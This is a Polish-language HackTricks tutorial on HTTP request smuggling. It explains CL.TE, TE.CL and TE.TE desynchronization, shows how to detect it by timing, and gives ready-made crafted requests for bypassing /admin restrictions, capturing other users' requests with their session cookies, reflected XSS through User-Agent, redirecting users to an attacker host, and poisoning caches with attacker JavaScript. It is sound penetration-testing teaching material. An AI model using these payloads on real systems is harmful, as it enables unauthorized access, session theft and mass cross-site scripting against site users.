mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-14 07:13:01 +00:00
695 lines
37 KiB
Markdown
695 lines
37 KiB
Markdown
# Atak na Przesyłanie Żądań HTTP / Atak Desynchronizacji HTTP
|
|
|
|
<details>
|
|
|
|
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
|
|
|
</details>
|
|
|
|
## Co to jest
|
|
|
|
Ta podatność występuje, gdy **desynchronizacja** między **serwerami proxy front-end** a **serwerem back-end** pozwala **atakującemu** na **wysłanie** żądania HTTP, które zostanie **zinterpretowane** jako **jedno żądanie** przez **serwery proxy front-end** (bilansowanie obciążenia/przekierowanie) i **jako 2 żądania** przez **serwer back-end**.\
|
|
Umożliwia to użytkownikowi **modyfikację następnego żądania, które dotrze do serwera back-end po jego**.
|
|
|
|
### Teoria
|
|
|
|
[**Specyfikacja RFC (2161)**](https://tools.ietf.org/html/rfc2616)
|
|
|
|
> Jeśli wiadomość zostanie otrzymana zarówno z polem nagłówka Transfer-Encoding, jak i polem nagłówka Content-Length, to to drugie MUSI zostać zignorowane.
|
|
|
|
**Content-Length**
|
|
|
|
> Nagłówek encji Content-Length wskazuje rozmiar ciała encji, w bajtach, wysłanej do odbiorcy.
|
|
|
|
**Transfer-Encoding: chunked**
|
|
|
|
> Nagłówek Transfer-Encoding określa formę kodowania używaną do bezpiecznego przesyłania treści ładunku do użytkownika.\
|
|
> Chunked oznacza, że duże dane są wysyłane w serii kawałków.
|
|
|
|
### Rzeczywistość
|
|
|
|
**Serwer Front-End** (bilansowanie obciążenia/przekierowanie) **przetwarza** nagłówek _**content-length**_ lub _**transfer-encoding**_, a **serwer Back-End** **przetwarza drugi**, co powoduje **desynchronizację** między tymi dwoma systemami.\
|
|
Może to być bardzo krytyczne, ponieważ **atakujący będzie w stanie wysłać jedno żądanie** do serwera odwrotnego proxy, które zostanie **zinterpretowane** przez **serwer back-end jako 2 różne żądania**. **Niebezpieczeństwo** tej techniki polega na tym, że **serwer back-end zinterpretuje** **wstrzyknięte drugie żądanie** tak, jakby **pochodziło od następnego klienta**, a **rzeczywiste żądanie** tego klienta będzie **częścią** **wstrzykniętego żądania**.
|
|
|
|
### Szczególne przypadki
|
|
|
|
Pamiętaj, że w protokole HTTP **znak nowej linii składa się z 2 bajtów:**
|
|
|
|
* **Content-Length**: Ten nagłówek używa **liczby dziesiętnej** do wskazania **liczby** **bajtów** ciała żądania. Oczekuje się, że ciało zakończy się na ostatnim znaku, **znak nowej linii nie jest potrzebny na końcu żądania**.
|
|
* **Transfer-Encoding:** Ten nagłówek używa w **ciale** **liczby szesnastkowej** do wskazania **liczby** **bajtów** **następnego kawałka**. **Kawałek** musi **zakończyć się** **znakiem nowej linii**, ale ten znak **nie jest uwzględniany** przez wskaźnik długości. Ten sposób przesyłania musi zakończyć się **kawałkiem o rozmiarze 0, po którym następują 2 znaki nowej linii**: `0`
|
|
* **Connection**: Na podstawie mojego doświadczenia zaleca się użycie **`Connection: keep-alive`** w pierwszym żądaniu ataku na przesyłanie żądań.
|
|
|
|
## Podstawowe Przykłady
|
|
|
|
{% hint style="success" %}
|
|
Próbując wykorzystać to za pomocą Burp Suite, **wyłącz opcje `Update Content-Length` i `Normalize HTTP/1 line endings`** w powtarzaczu, ponieważ niektóre gadżety nadużywają znaków nowej linii, powrotów karetki i błędnych długości treści.
|
|
{% endhint %}
|
|
|
|
Ataki na przesyłanie żądań HTTP są tworzone poprzez wysyłanie dwuznacznych żądań, które wykorzystują rozbieżności w interpretacji nagłówków `Content-Length` (CL) i `Transfer-Encoding` (TE) przez serwery front-end i back-end. Ataki te mogą przybierać różne formy, głównie jako **CL.TE**, **TE.CL** i **TE.TE**. Każdy typ reprezentuje unikalne połączenie priorytetów serwerów front-end i back-end w odniesieniu do tych nagłówków. Podatności wynikają z przetwarzania tego samego żądania przez serwery w różny sposób, co prowadzi do nieoczekiwanych i potencjalnie złośliwych rezultatów.
|
|
|
|
### Podstawowe Przykłady Typów Podatności
|
|
|
|
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
|
|
|
|
#### Podatność CL.TE (Content-Length używane przez Front-End, Transfer-Encoding używane przez Back-End)
|
|
|
|
* **Front-End (CL):** Przetwarza żądanie na podstawie nagłówka `Content-Length`.
|
|
* **Back-End (TE):** Przetwarza żądanie na podstawie nagłówka `Transfer-Encoding`.
|
|
* **Scenariusz Ataku:**
|
|
* Atakujący wysyła żądanie, w którym wartość nagłówka `Content-Length` nie zgadza się z rzeczywistą długością treści.
|
|
* Serwer front-end przekazuje całe żądanie do serwera back-end, bazując na wartości `Content-Length`.
|
|
* Serwer back-end przetwarza żądanie jako kawałkowe ze względu na nagłówek `Transfer-Encoding: chunked`, interpretując pozostałe dane jako oddzielne, następne żądanie.
|
|
* **Przykład:**
|
|
|
|
```
|
|
POST / HTTP/1.1
|
|
Host: vulnerable-website.com
|
|
Content-Length: 30
|
|
Connection: keep-alive
|
|
Transfer-Encoding: chunked
|
|
|
|
0
|
|
|
|
GET /404 HTTP/1.1
|
|
Foo: x
|
|
```
|
|
|
|
#### Podatność TE.CL (Transfer-Encoding używane przez Front-End, Content-Length używane przez Back-End)
|
|
|
|
* **Front-End (TE):** Przetwarza żądanie na podstawie nagłówka `Transfer-Encoding`.
|
|
* **Back-End (CL):** Przetwarza żądanie na podstawie nagłówka `Content-Length`.
|
|
* **Scenariusz Ataku:**
|
|
* Atakujący wysyła żądanie kawałkowe, gdzie rozmiar kawałka (`7b`) i rzeczywista długość treści (`Content-Length: 4`) nie zgadzają się.
|
|
* Serwer front-end, respektując `Transfer-Encoding`, przekazuje całe żądanie do serwera back-end.
|
|
* Serwer back-end, respektując `Content-Length`, przetwarza jedynie początkową część żądania (`7b` bajtów), pozostawiając resztę jako część niezamierzonego następnego żądania.
|
|
* **Przykład:**
|
|
|
|
```
|
|
POST / HTTP/1.1
|
|
Host: vulnerable-website.com
|
|
Content-Length: 4
|
|
Connection: keep-alive
|
|
Transfer-Encoding: chunked
|
|
|
|
7b
|
|
GET /404 HTTP/1.1
|
|
Host: vulnerable-website.com
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 30
|
|
|
|
x=
|
|
0
|
|
|
|
```
|
|
#### Vulnerability TE.TE (Transfer-Encoding używane przez obie strony, z zaciemnieniem)
|
|
|
|
* **Serwery:** Oba obsługują `Transfer-Encoding`, ale jeden można oszukać, ignorując go za pomocą zaciemnienia.
|
|
* **Scenariusz ataku:**
|
|
* Atakujący wysyła żądanie z zaciemnionymi nagłówkami `Transfer-Encoding`.
|
|
* W zależności od tego, który serwer (front-end lub back-end) nie rozpoznaje zaciemnienia, może zostać wykorzystana podatność CL.TE lub TE.CL.
|
|
* Nieprzetworzona część żądania, widziana przez jeden z serwerów, staje się częścią kolejnego żądania, co prowadzi do przemytu.
|
|
* **Przykład:**
|
|
|
|
```
|
|
POST / HTTP/1.1
|
|
Host: vulnerable-website.com
|
|
Transfer-Encoding: xchunked
|
|
Transfer-Encoding : chunked
|
|
Transfer-Encoding: chunked
|
|
Transfer-Encoding: x
|
|
Transfer-Encoding: chunked
|
|
Transfer-Encoding: x
|
|
Transfer-Encoding:[tab]chunked
|
|
[space]Transfer-Encoding: chunked
|
|
X: X[\n]Transfer-Encoding: chunked
|
|
|
|
Transfer-Encoding
|
|
: chunked
|
|
```
|
|
|
|
#### **Scenariusz CL.CL (Content-Length używane przez obie strony, zarówno front-end, jak i back-end):**
|
|
|
|
* Oba serwery przetwarzają żądanie wyłącznie na podstawie nagłówka `Content-Length`.
|
|
* Ten scenariusz zazwyczaj nie prowadzi do przemytu, ponieważ oba serwery interpretują długość żądania zgodnie.
|
|
* **Przykład:**
|
|
|
|
```
|
|
POST / HTTP/1.1
|
|
Host: vulnerable-website.com
|
|
Content-Length: 16
|
|
Connection: keep-alive
|
|
|
|
Normalne żądanie
|
|
```
|
|
|
|
#### **Scenariusz CL != 0:**
|
|
|
|
* Dotyczy scenariuszy, w których nagłówek `Content-Length` jest obecny i ma wartość różną od zera, co wskazuje, że ciało żądania zawiera treść.
|
|
* Jest to istotne przy zrozumieniu i tworzeniu ataków przemytu, ponieważ wpływa na to, jak serwery określają koniec żądania.
|
|
* **Przykład:**
|
|
|
|
```
|
|
POST / HTTP/1.1
|
|
Host: vulnerable-website.com
|
|
Content-Length: 16
|
|
Connection: keep-alive
|
|
|
|
Ciało nie jest puste
|
|
```
|
|
|
|
#### Wymuszanie za pomocą nagłówków hop-by-hop
|
|
|
|
Wykorzystując nagłówki hop-by-hop, można wskazać serwerowi proxy, aby **usunął nagłówek Content-Length lub Transfer-Encoding, co umożliwia wykorzystanie ataku przemytu HTTP**.
|
|
```
|
|
Connection: Content-Length
|
|
```
|
|
Dla **więcej informacji na temat nagłówków hop-by-hop** odwiedź:
|
|
|
|
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
|
|
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Odkrywanie Wrażliwości na Przesyłanie Żądań HTTP
|
|
|
|
Identyfikacja wrażliwości na przesyłanie żądań HTTP często może być osiągnięta za pomocą technik czasowych, które polegają na obserwowaniu, jak długo serwer potrzebuje na odpowiedź na manipulowane żądania. Te techniki są szczególnie przydatne do wykrywania wrażliwości CL.TE i TE.CL. Oprócz tych metod istnieją inne strategie i narzędzia, które można wykorzystać do znalezienia takich wrażliwości:
|
|
|
|
### Znajdowanie Wrażliwości CL.TE Za Pomocą Technik Czasowych
|
|
|
|
* **Metoda:**
|
|
* Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że serwer back-endowy będzie czekał na dodatkowe dane.
|
|
* **Przykład:**
|
|
|
|
```
|
|
POST / HTTP/1.1
|
|
Host: vulnerable-website.com
|
|
Transfer-Encoding: chunked
|
|
Connection: keep-alive
|
|
Content-Length: 4
|
|
|
|
1
|
|
A
|
|
0
|
|
```
|
|
* **Obserwacja:**
|
|
* Serwer front-endowy przetwarza żądanie na podstawie `Content-Length` i przerywa wiadomość przedwcześnie.
|
|
* Serwer back-endowy, oczekując na wiadomość kawałkowaną, czeka na kolejny kawałek, który nigdy nie przychodzi, powodując opóźnienie.
|
|
* **Wskaźniki:**
|
|
* Timeouts lub długie opóźnienia w odpowiedzi.
|
|
* Otrzymanie błędu 400 Bad Request od serwera back-endowego, czasami z szczegółowymi informacjami o serwerze.
|
|
|
|
### Znajdowanie Wrażliwości TE.CL Za Pomocą Technik Czasowych
|
|
|
|
* **Metoda:**
|
|
* Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że serwer back-endowy będzie czekał na dodatkowe dane.
|
|
* **Przykład:**
|
|
|
|
```
|
|
POST / HTTP/1.1
|
|
Host: vulnerable-website.com
|
|
Transfer-Encoding: chunked
|
|
Connection: keep-alive
|
|
Content-Length: 6
|
|
|
|
0
|
|
X
|
|
```
|
|
* **Obserwacja:**
|
|
* Serwer front-endowy przetwarza żądanie na podstawie `Transfer-Encoding` i przekazuje całą wiadomość.
|
|
* Serwer back-endowy, oczekując na wiadomość na podstawie `Content-Length`, czeka na dodatkowe dane, które nigdy nie przychodzą, powodując opóźnienie.
|
|
|
|
### Inne Metody Znajdowania Wrażliwości
|
|
|
|
* **Analiza Różnicowa Odpowiedzi:**
|
|
* Wyślij nieco zróżnicowane wersje żądania i obserwuj, czy odpowiedzi serwera różnią się w niespodziewany sposób, co wskazuje na rozbieżność w parsowaniu.
|
|
* **Użycie Narzędzi Automatyzujących:**
|
|
* Narzędzia takie jak rozszerzenie 'HTTP Request Smuggler' w Burp Suite mogą automatycznie testować te wrażliwości, wysyłając różne formy niejednoznacznych żądań i analizując odpowiedzi.
|
|
* **Testy Zmienności Długości Zawartości:**
|
|
* Wyślij żądania z różnymi wartościami `Content-Length`, które nie są zgodne z rzeczywistą długością zawartości i obserwuj, jak serwer radzi sobie z takimi niezgodnościami.
|
|
* **Testy Zmienności Transfer-Encoding:**
|
|
* Wyślij żądania z zasłoniętymi lub zniekształconymi nagłówkami `Transfer-Encoding` i monitoruj, jak różnie serwery front-endowy i back-endowy reagują na takie manipulacje.
|
|
|
|
### Testowanie Wrażliwości na Przesyłanie Żądań HTTP
|
|
|
|
Po potwierdzeniu skuteczności technik czasowych, istotne jest zweryfikowanie, czy żądania klienta można manipulować. Prostą metodą jest próba zatrucia twoich żądań, na przykład sprawienie, że żądanie do `/` spowoduje odpowiedź 404. Przykłady `CL.TE` i `TE.CL` omówione wcześniej w [Podstawowe Przykłady](./#basic-examples) pokazują, jak zatruć żądanie klienta, aby wywołać odpowiedź 404, mimo że klient chce uzyskać dostęp do innych zasobów.
|
|
|
|
**Kluczowe Rozważania**
|
|
|
|
Podczas testowania wrażliwości na przesyłanie żądań poprzez ingerencję w inne żądania, pamiętaj o:
|
|
|
|
* **Odrębne Połączenia Sieciowe:** "Atak" i "normalne" żądania powinny być wysyłane przez oddzielne połączenia sieciowe. Użycie tego samego połączenia dla obu nie potwierdza obecności wrażliwości.
|
|
* **Spójne URL i Parametry:** Staraj się używać identycznych adresów URL i nazw parametrów dla obu żądań. Współczesne aplikacje często kierują żądania do konkretnych serwerów back-endowych na podstawie adresu URL i parametrów. Dopasowanie tych zwiększa prawdopodobieństwo, że oba żądania zostaną przetworzone przez ten sam serwer, co jest warunkiem koniecznym do udanego ataku.
|
|
* **Warunki Czasowe i Wyścigowe:** "Normalne" żądanie, mające na celu wykrycie ingerencji z "atakującego" żądania, rywalizuje z innymi równoczesnymi żądaniami aplikacji. Dlatego wyślij "normalne" żądanie bezpośrednio po "atakującym" żądaniu. Ruchliwe aplikacje mogą wymagać wielokrotnych prób dla potwierdzenia wrażliwości.
|
|
* **Wyzwania Związane z Balansem Obciążenia:** Serwery front-endowe działające jako balanser obciążenia mogą rozprowadzać żądania na różne systemy back-endowe. Jeśli "atakujące" i "normalne" żądania trafią na różne systemy, atak się nie powiedzie. Ten aspekt balansowania obciążenia może wymagać kilku prób potwierdzenia wrażliwości.
|
|
* **Niekorzystny Wpływ na Użytkownika:** Jeśli twój atak przypadkowo wpłynie na żądanie innego użytkownika (nie na "normalne" żądanie wysłane do wykrycia), oznacza to, że twój atak wpłynął na innego użytkownika aplikacji. Ciągłe testowanie może zakłócić innych użytkowników, wymagając ostrożnego podejścia.
|
|
|
|
## Nadużywanie Przesyłania Żądań HTTP
|
|
|
|
### Omijanie Bezpieczeństwa Front-Endu za Pośrednictwem Przesyłania Żądań HTTP
|
|
|
|
Czasami proksy front-endowe egzekwują środki bezpieczeństwa, analizując przychodzące żądania. Niemniej jednak te środki mogą być obejścia poprzez wykorzystanie Przesyłania Żądań HTTP, umożliwiając nieautoryzowany dostęp do ograniczonych punktów końcowych. Na przykład dostęp do `/admin` może być zabroniony zewnętrznie, a proksy front-endowe aktywnie blokują takie próby. Niemniej jednak ten proxy może zaniedbać sprawdzenie osadzonych żądań w ramach przemyconego żądania HTTP, pozostawiając luki umożliwiające obejście tych ograniczeń.
|
|
|
|
Rozważ poniższe przykłady ilustrujące, jak Przesyłanie Żądań HTTP może być wykorzystane do obejścia kontroli bezpieczeństwa front-endu, szczególnie kierując się ścieżką `/admin`, która zazwyczaj jest chroniona przez proksy front-endowe:
|
|
|
|
**Przykład CL.TE**
|
|
```
|
|
POST / HTTP/1.1
|
|
Host: [redacted].web-security-academy.net
|
|
Cookie: session=[redacted]
|
|
Connection: keep-alive
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 67
|
|
Transfer-Encoding: chunked
|
|
|
|
0
|
|
GET /admin HTTP/1.1
|
|
Host: localhost
|
|
Content-Length: 10
|
|
|
|
x=
|
|
```
|
|
W ataku CL.TE nagłówek `Content-Length` jest wykorzystywany do początkowego żądania, podczas gdy osadzone żądanie wykorzystuje nagłówek `Transfer-Encoding: chunked`. Przekierowanie front-end przetwarza początkowe żądanie `POST`, ale nie sprawdza osadzonego żądania `GET /admin`, co umożliwia nieautoryzowany dostęp do ścieżki `/admin`.
|
|
|
|
**Przykład TE.CL**
|
|
```
|
|
POST / HTTP/1.1
|
|
Host: [redacted].web-security-academy.net
|
|
Cookie: session=[redacted]
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Connection: keep-alive
|
|
Content-Length: 4
|
|
Transfer-Encoding: chunked
|
|
2b
|
|
GET /admin HTTP/1.1
|
|
Host: localhost
|
|
a=x
|
|
0
|
|
|
|
```
|
|
W przeciwnym razie, w ataku TE.CL początkowe żądanie `POST` używa `Transfer-Encoding: chunked`, a następne osadzone żądanie jest przetwarzane na podstawie nagłówka `Content-Length`. Podobnie jak w ataku CL.TE, proxy front-endowy pomija osadzone żądanie `GET /admin`, nieumyślnie przyznając dostęp do ograniczonej ścieżki `/admin`.
|
|
|
|
### Ujawnianie przepisywania żądania front-endowego <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
|
|
|
Aplikacje często wykorzystują **serwer front-endowy** do modyfikowania przychodzących żądań przed przekazaniem ich do serwera back-endowego. Typową modyfikacją jest dodawanie nagłówków, takich jak `X-Forwarded-For: <IP klienta>`, aby przekazać IP klienta do serwera back-endowego. Zrozumienie tych modyfikacji może być kluczowe, ponieważ może ujawnić sposoby **omijania zabezpieczeń** lub **odkrywania ukrytych informacji lub punktów końcowych**.
|
|
|
|
Aby zbadać, w jaki sposób proxy zmienia żądanie, zlokalizuj parametr POST, który back-end odbija w odpowiedzi. Następnie stwórz żądanie, używając tego parametru na końcu, podobnie jak w poniższym przykładzie:
|
|
```
|
|
POST / HTTP/1.1
|
|
Host: vulnerable-website.com
|
|
Content-Length: 130
|
|
Connection: keep-alive
|
|
Transfer-Encoding: chunked
|
|
|
|
0
|
|
|
|
POST /search HTTP/1.1
|
|
Host: vulnerable-website.com
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 100
|
|
|
|
search=
|
|
```
|
|
W tej strukturze kolejne składniki żądania są dodawane po `search=`, który jest parametrem odzwierciedlonym w odpowiedzi. To odzwierciedlenie ujawni nagłówki kolejnego żądania.
|
|
|
|
Ważne jest, aby dopasować nagłówek `Content-Length` zagnieżdżonego żądania do rzeczywistej długości treści. Zaleca się rozpoczęcie od niewielkiej wartości i stopniowe zwiększanie, ponieważ zbyt niska wartość spowoduje ucięcie odzwierciedlonych danych, podczas gdy zbyt wysoka wartość może spowodować błąd żądania.
|
|
|
|
Ta technika jest również stosowana w kontekście podatności TE.CL, ale żądanie powinno zakończyć się `search=\r\n0`. Bez względu na znaki nowej linii, wartości zostaną dołączone do parametru wyszukiwania.
|
|
|
|
Ta metoda służy głównie do zrozumienia modyfikacji żądania dokonanych przez proxy front-end, co w zasadzie stanowi autorską analizę.
|
|
|
|
### Przechwytywanie żądań innych użytkowników <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
|
|
|
Możliwe jest przechwycenie żądań następnego użytkownika, dodając określone żądanie jako wartość parametru podczas operacji POST. Oto jak to można osiągnąć:
|
|
|
|
Dodając poniższe żądanie jako wartość parametru, można przechowywać żądanie następnego klienta:
|
|
```
|
|
POST / HTTP/1.1
|
|
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 319
|
|
Connection: keep-alive
|
|
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
|
Transfer-Encoding: chunked
|
|
|
|
0
|
|
|
|
POST /post/comment HTTP/1.1
|
|
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
|
Content-Length: 659
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
|
|
|
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
|
```
|
|
W tym scenariuszu **parametr komentarza** ma przechowywać treści znajdujące się w sekcji komentarzy posta na publicznie dostępnej stronie. W rezultacie treść kolejnego żądania będzie wyświetlana jako komentarz.
|
|
|
|
Jednak ta technika ma swoje ograniczenia. Zazwyczaj przechwytuje dane tylko do ogranicznika parametru użytego w przemyconym żądaniu. Dla przesyłek formularzy zakodowanych w formie URL, tym ogranicznikiem jest znak `&`. Oznacza to, że przechwycone treści z żądania użytkownika ofiary zatrzymają się na pierwszym `&`, który może nawet być częścią ciągu zapytania.
|
|
|
|
Dodatkowo warto zauważyć, że ta metoda jest również wykonalna w przypadku podatności na TE.CL. W takich przypadkach żądanie powinno zakończyć się `search=\r\n0`. Bez względu na znaki nowej linii, wartości zostaną dołączone do parametru wyszukiwania.
|
|
|
|
### Wykorzystanie przemyconego żądania HTTP do eksploatacji odbitego XSS
|
|
|
|
Przemycone żądanie HTTP może być wykorzystane do eksploatacji stron internetowych podatnych na **Odbity XSS**, oferując znaczące korzyści:
|
|
|
|
* Interakcja z użytkownikami docelowymi **nie jest wymagana**.
|
|
* Umożliwia eksploatację XSS w częściach żądania, do których **zazwyczaj nie można uzyskać dostępu**, takich jak nagłówki żądania HTTP.
|
|
|
|
W przypadkach, gdy strona internetowa jest podatna na Odbity XSS poprzez nagłówek User-Agent, poniższa ładunek demonstruje, jak można wykorzystać tę podatność:
|
|
```
|
|
POST / HTTP/1.1
|
|
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
|
|
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
|
|
Transfer-Encoding: chunked
|
|
Connection: keep-alive
|
|
Content-Length: 213
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
0
|
|
|
|
GET /post?postId=2 HTTP/1.1
|
|
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
|
User-Agent: "><script>alert(1)</script>
|
|
Content-Length: 10
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
A=
|
|
```
|
|
Ten payload jest skonstruowany w celu wykorzystania podatności poprzez:
|
|
|
|
1. Zainicjowanie żądania `POST`, pozornie typowego, z nagłówkiem `Transfer-Encoding: chunked`, aby wskazać początek smugglowania.
|
|
2. Następnie `0`, oznaczające koniec ciała wiadomości w formacie chunked.
|
|
3. Następnie wprowadzone jest smugglowane żądanie `GET`, gdzie nagłówek `User-Agent` jest zainfekowany skryptem `<script>alert(1)</script>`, wywołującym XSS podczas przetwarzania tego kolejnego żądania przez serwer.
|
|
|
|
Poprzez manipulację `User-Agent` poprzez smugglowanie, payload omija normalne ograniczenia żądania, wykorzystując w ten sposób podatność na Reflected XSS w nietypowy, ale skuteczny sposób.
|
|
|
|
### Wykorzystanie przekierowań na stronie docelowej za pomocą smugglowania żądań HTTP <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
|
|
|
Aplikacje często przekierowują z jednego adresu URL na inny, korzystając z nazwy hosta z nagłówka `Host` w adresie URL przekierowania. Jest to powszechne w serwerach WWW, takich jak Apache i IIS. Na przykład, żądanie folderu bez ukośnika na końcu skutkuje przekierowaniem, aby zawierało ten ukośnik:
|
|
```
|
|
GET /home HTTP/1.1
|
|
Host: normal-website.com
|
|
```
|
|
Wyniki:
|
|
```
|
|
HTTP/1.1 301 Moved Permanently
|
|
Location: https://normal-website.com/home/
|
|
```
|
|
Chociaż na pierwszy rzut oka wydaje się nieszkodliwe, to to zachowanie może być manipulowane za pomocą przemytu żądań HTTP, aby przekierować użytkowników na zewnętrzną stronę. Na przykład:
|
|
```
|
|
POST / HTTP/1.1
|
|
Host: vulnerable-website.com
|
|
Content-Length: 54
|
|
Connection: keep-alive
|
|
Transfer-Encoding: chunked
|
|
|
|
0
|
|
|
|
GET /home HTTP/1.1
|
|
Host: attacker-website.com
|
|
Foo: X
|
|
```
|
|
To przemycony żądanie może spowodować przekierowanie następnego przetworzonego żądania użytkownika na stronę kontrolowaną przez atakującego:
|
|
```
|
|
GET /home HTTP/1.1
|
|
Host: attacker-website.com
|
|
Foo: XGET /scripts/include.js HTTP/1.1
|
|
Host: vulnerable-website.com
|
|
```
|
|
Wyniki:
|
|
```
|
|
HTTP/1.1 301 Moved Permanently
|
|
Location: https://attacker-website.com/home/
|
|
```
|
|
W tym scenariuszu żądanie użytkownika dotyczące pliku JavaScript zostało przejęte. Atakujący może potencjalnie skompromitować użytkownika, serwując złośliwy JavaScript w odpowiedzi.
|
|
|
|
### Wykorzystanie Zatrucia Pamięci Cache Sieci Web poprzez HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
|
|
|
Zatrucie pamięci cache sieci web może być wykonane, jeśli którykolwiek z komponentów **infrastruktury front-end** przechowuje zawartość w pamięci podręcznej, zazwyczaj w celu poprawy wydajności. Poprzez manipulację odpowiedzi serwera, możliwe jest **zatrucie pamięci cache**.
|
|
|
|
Wcześniej obserwowaliśmy, jak odpowiedzi serwera mogą być zmienione, aby zwrócić błąd 404 (patrz [Podstawowe Przykłady](./#basic-examples)). Podobnie, możliwe jest oszukanie serwera, aby dostarczył zawartość `/index.html` w odpowiedzi na żądanie pliku `/static/include.js`. W rezultacie zawartość `/static/include.js` zostaje zastąpiona w pamięci cache zawartością `/index.html`, co sprawia, że `/static/include.js` staje się niedostępny dla użytkowników, potencjalnie prowadząc do ataku typu Denial of Service (DoS).
|
|
|
|
Ta technika staje się szczególnie potężna, jeśli zostanie odkryta **luka w przekierowaniach (Open Redirect)** lub jeśli istnieje **przekierowanie na stronie do otwartego przekierowania**. Takie podatności mogą być wykorzystane do zastąpienia zcache'owanej zawartości `/static/include.js` skryptem kontrolowanym przez atakującego, umożliwiając w zasadzie rozległy atak typu Cross-Site Scripting (XSS) przeciwko wszystkim klientom żądającym zaktualizowanego `/static/include.js`.
|
|
|
|
Poniżej znajduje się ilustracja wykorzystania **zatrucia pamięci cache w połączeniu z przekierowaniem na otwarte przekierowanie na stronie**. Celem jest zmiana zawartości cache pliku `/static/include.js` w celu serwowania kodu JavaScript kontrolowanego przez atakującego:
|
|
```
|
|
POST / HTTP/1.1
|
|
Host: vulnerable.net
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Connection: keep-alive
|
|
Content-Length: 124
|
|
Transfer-Encoding: chunked
|
|
|
|
0
|
|
|
|
GET /post/next?postId=3 HTTP/1.1
|
|
Host: attacker.net
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 10
|
|
|
|
x=1
|
|
```
|
|
Zauważ osadzone żądanie kierujące do `/post/next?postId=3`. To żądanie zostanie przekierowane do `/post?postId=4`, wykorzystując **wartość nagłówka Host** do określenia domeny. Poprzez zmianę **nagłówka Host**, atakujący może przekierować żądanie do swojej domeny (**przekierowanie na stronę atakującego za pomocą przekierowania otwartego**).
|
|
|
|
Po udanym **zatruciu gniazda**, należy zainicjować **żądanie GET** dla `/static/include.js`. To żądanie zostanie zanieczyszczone przez wcześniejsze **przekierowanie na stronę atakującego za pomocą przekierowania otwartego** i pobierze zawartość skryptu kontrolowanego przez atakującego.
|
|
|
|
Następnie, każde żądanie dla `/static/include.js` będzie serwować zbuforowaną zawartość skryptu atakującego, efektywnie uruchamiając szeroki atak XSS.
|
|
|
|
### Użycie przemytu żądań HTTP do przeprowadzenia oszustwa związane z pamięcią podręczną sieciową <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
|
|
|
> **Jaka jest różnica między zatruciem pamięci podręcznej sieciowej a oszustwem związanym z pamięcią podręczną sieciową?**
|
|
>
|
|
> * W **zatruciu pamięci podręcznej sieciowej**, atakujący powoduje, że aplikacja przechowuje pewną złośliwą zawartość w pamięci podręcznej, a ta zawartość jest serwowana z pamięci podręcznej innym użytkownikom aplikacji.
|
|
> * W **oszustwie związanym z pamięcią podręczną sieciową**, atakujący powoduje, że aplikacja przechowuje pewną wrażliwą zawartość należącą do innego użytkownika w pamięci podręcznej, a następnie atakujący odzyskuje tę zawartość z pamięci podręcznej.
|
|
|
|
Atakujący tworzy przemycone żądanie, które pobiera wrażliwą zawartość specyficzną dla użytkownika. Rozważ poniższy przykład:
|
|
```markdown
|
|
